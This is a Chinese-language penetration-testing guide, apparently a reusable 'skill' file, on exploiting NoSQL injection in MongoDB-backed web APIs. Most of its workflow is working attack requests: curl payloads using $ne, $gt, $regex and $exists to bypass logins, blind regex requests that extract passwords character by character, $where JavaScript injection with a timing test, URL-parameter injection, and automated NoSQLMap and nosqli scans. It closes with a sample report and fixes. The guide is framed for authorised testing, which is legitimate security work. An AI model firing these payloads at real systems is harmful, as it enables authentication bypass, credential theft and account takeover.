| name | exploiting-nosql-injection-vulnerabilities |
| description | 检测并利用 MongoDB、CouchDB 和其他 NoSQL 数据库中的 NoSQL 注入漏洞,以演示身份验证绕过、数据提取和未授权访问风险。 |
| domain | cybersecurity |
| subdomain | web-application-security |
| tags | ["nosql-injection","mongodb","authentication-bypass","injection-attack","web-security","database-security","api-testing"] |
| version | 1.0 |
| author | mahipal |
| license | Apache-2.0 |
利用 NoSQL 注入漏洞(Exploiting NoSQL Injection Vulnerabilities)
适用场景
- 在对使用 NoSQL 数据库的应用程序进行 Web 渗透测试期间
- 测试由 MongoDB 或类似数据库支持的身份验证机制时
- 评估接受 JSON 输入用于数据库查询的 API 时
- 在具有 NoSQL 后端的应用程序漏洞奖励计划中
- 对数据库查询构建进行安全代码审查时
前置条件
- 支持 JSON 的 Burp Suite Professional 或 Community Edition
- 已安装 NoSQLMap 工具(
pip install nosqlmap 或从 GitHub 安装)
- 了解 MongoDB 查询操作符($ne、$gt、$regex、$where、$exists)
- 目标应用程序使用 NoSQL 数据库(MongoDB、CouchDB、Cassandra)
- 配置好用于 HTTP 流量拦截的代理
- 用于自定义有效载荷脚本的 Python 3.x
工作流程
步骤 1:识别 NoSQL 注入点
curl -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username": "admin\"", "password": "test"}'
curl "http://target.com/api/users?username[$ne]=invalid"
curl -X POST http://target.com/api/search \
-H "Content-Type: application/json" \
-d '{"query": {"$gt": ""}}'
步骤 2:执行身份验证绕过
curl -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username": {"$ne": "invalid"}, "password": {"$ne": "invalid"}}'
curl -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username": {"$gt": ""}, "password": {"$gt": ""}}'
curl -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username": "admin", "password": {"$regex": ".*"}}'
curl -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username": {"$exists": true}, "password": {"$exists": true}}'
步骤 3:使用基于布尔的盲注入提取数据
curl -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username": "admin", "password": {"$regex": "^a"}}'
curl -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username": "admin", "password": {"$regex": "^ab"}}'
curl -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username": {"$regex": "^adm"}, "password": {"$ne": "invalid"}}'
步骤 4:通过 $where 利用 JavaScript 注入
curl -X POST http://target.com/api/search \
-H "Content-Type: application/json" \
-d '{"$where": "this.username == \"admin\""}'
curl -X POST http://target.com/api/search \
-H "Content-Type: application/json" \
-d '{"$where": "sleep(5000) || this.username == \"admin\""}'
curl -X POST http://target.com/api/search \
-H "Content-Type: application/json" \
-d '{"$where": "this.password.match(/^a/) != null"}'
步骤 5:使用 NoSQLMap 进行自动化测试
git clone https://github.com/codingo/NoSQLMap.git
cd NoSQLMap
python setup.py install
python nosqlmap.py -u http://target.com/api/login \
--method POST \
--data '{"username":"test","password":"test"}'
pip install nosqli
nosqli scan -t http://target.com/api/login -d '{"username":"*","password":"*"}'
步骤 6:测试 URL 参数注入
curl "http://target.com/api/users?username[$ne]=&password[$ne]="
curl "http://target.com/api/users?username[$regex]=admin&password[$gt]="
curl "http://target.com/api/users?username[$exists]=true"
curl "http://target.com/api/users?username[$in][]=admin&username[$in][]=root"
curl http://target.com/api/profile \
-H "X-User-Id: {'\$ne': null}"
核心概念
| 概念 | 定义 |
|---|
| 操作符注入(Operator Injection) | 向查询参数注入 MongoDB 操作符($ne、$gt、$regex) |
| 身份验证绕过(Authentication Bypass) | 使用操作符匹配任意文档并绕过登录检查 |
| 盲提取(Blind Extraction) | 使用 $regex 布尔响应逐字符提取数据 |
| $where 注入 | 通过 $where 操作符在 MongoDB 服务器上执行任意 JavaScript |
| 类型混淆(Type Juggling) | 利用 NoSQL 数据库处理不同输入类型(字符串与对象)的方式 |
| BSON 注入 | 操纵 MongoDB 线协议中的二进制 JSON 序列化 |
| 服务器端 JS | MongoDB 中可用于查询评估的 JavaScript 执行上下文 |
工具与系统
| 工具 | 用途 |
|---|
| NoSQLMap | 自动化 NoSQL 注入检测和利用框架 |
| Burp Suite | 用于拦截和修改 JSON 请求的 HTTP 代理 |
| MongoDB Shell | 用于测试查询行为的直接数据库交互 |
| nosqli | 专用 NoSQL 注入扫描器和利用工具 |
| PayloadsAllTheThings | 精心整理的 NoSQL 注入有效载荷存储库 |
| Nuclei | 带有 NoSQL 注入检测模板的基于模板的扫描器 |
| Postman | 用于构建 NoSQL 注入请求的 API 测试平台 |
常见场景
- 登录绕过 — 在用户名和密码字段中使用
{"$ne": ""} 操作符注入绕过 MongoDB 支持的身份验证
- 数据枚举 — 当没有直接输出可见时,使用
$regex 盲注入逐字符提取数据库内容
- 权限提升 — 通过配置文件更新端点中的 NoSQL 注入修改用户角色字段
- API 密钥提取 — 通过基于布尔的盲技术提取存储在 MongoDB 集合中的 API 密钥或令牌
- 账户接管 — 通过正则表达式注入枚举有效用户名,然后通过基于操作符的身份验证绕过暴力破解密码
输出格式
## NoSQL 注入评估报告
- **目标**: http://target.com/api/login
- **数据库**: MongoDB 6.0
- **漏洞类型**: 操作符注入(身份验证绕过)
- **严重性**: 严重(CVSS 9.8)
### 易受攻击的参数
| 端点 | 参数 | 注入类型 | 影响 |
|----------|-----------|---------------|--------|
| POST /api/login | username | 操作符($ne) | 身份验证绕过 |
| POST /api/login | password | 正则($regex) | 数据提取 |
| GET /api/users | id | $where JS 注入 | 潜在 RCE |
### 概念验证
- 使用以下内容实现身份验证绕过:{"username":{"$ne":""},"password":{"$ne":""}}
- 通过盲正则注入提取了 3 个管理员密码
- 通过 $where 操作符确认 JavaScript 执行
### 修复建议
- 使用带有 MongoDB 驱动清理功能的参数化查询
- 实施输入类型验证(在预期字符串的地方拒绝对象)
- 在 MongoDB 配置中禁用服务器端 JavaScript 执行($where)
- 应用最小权限数据库访问控制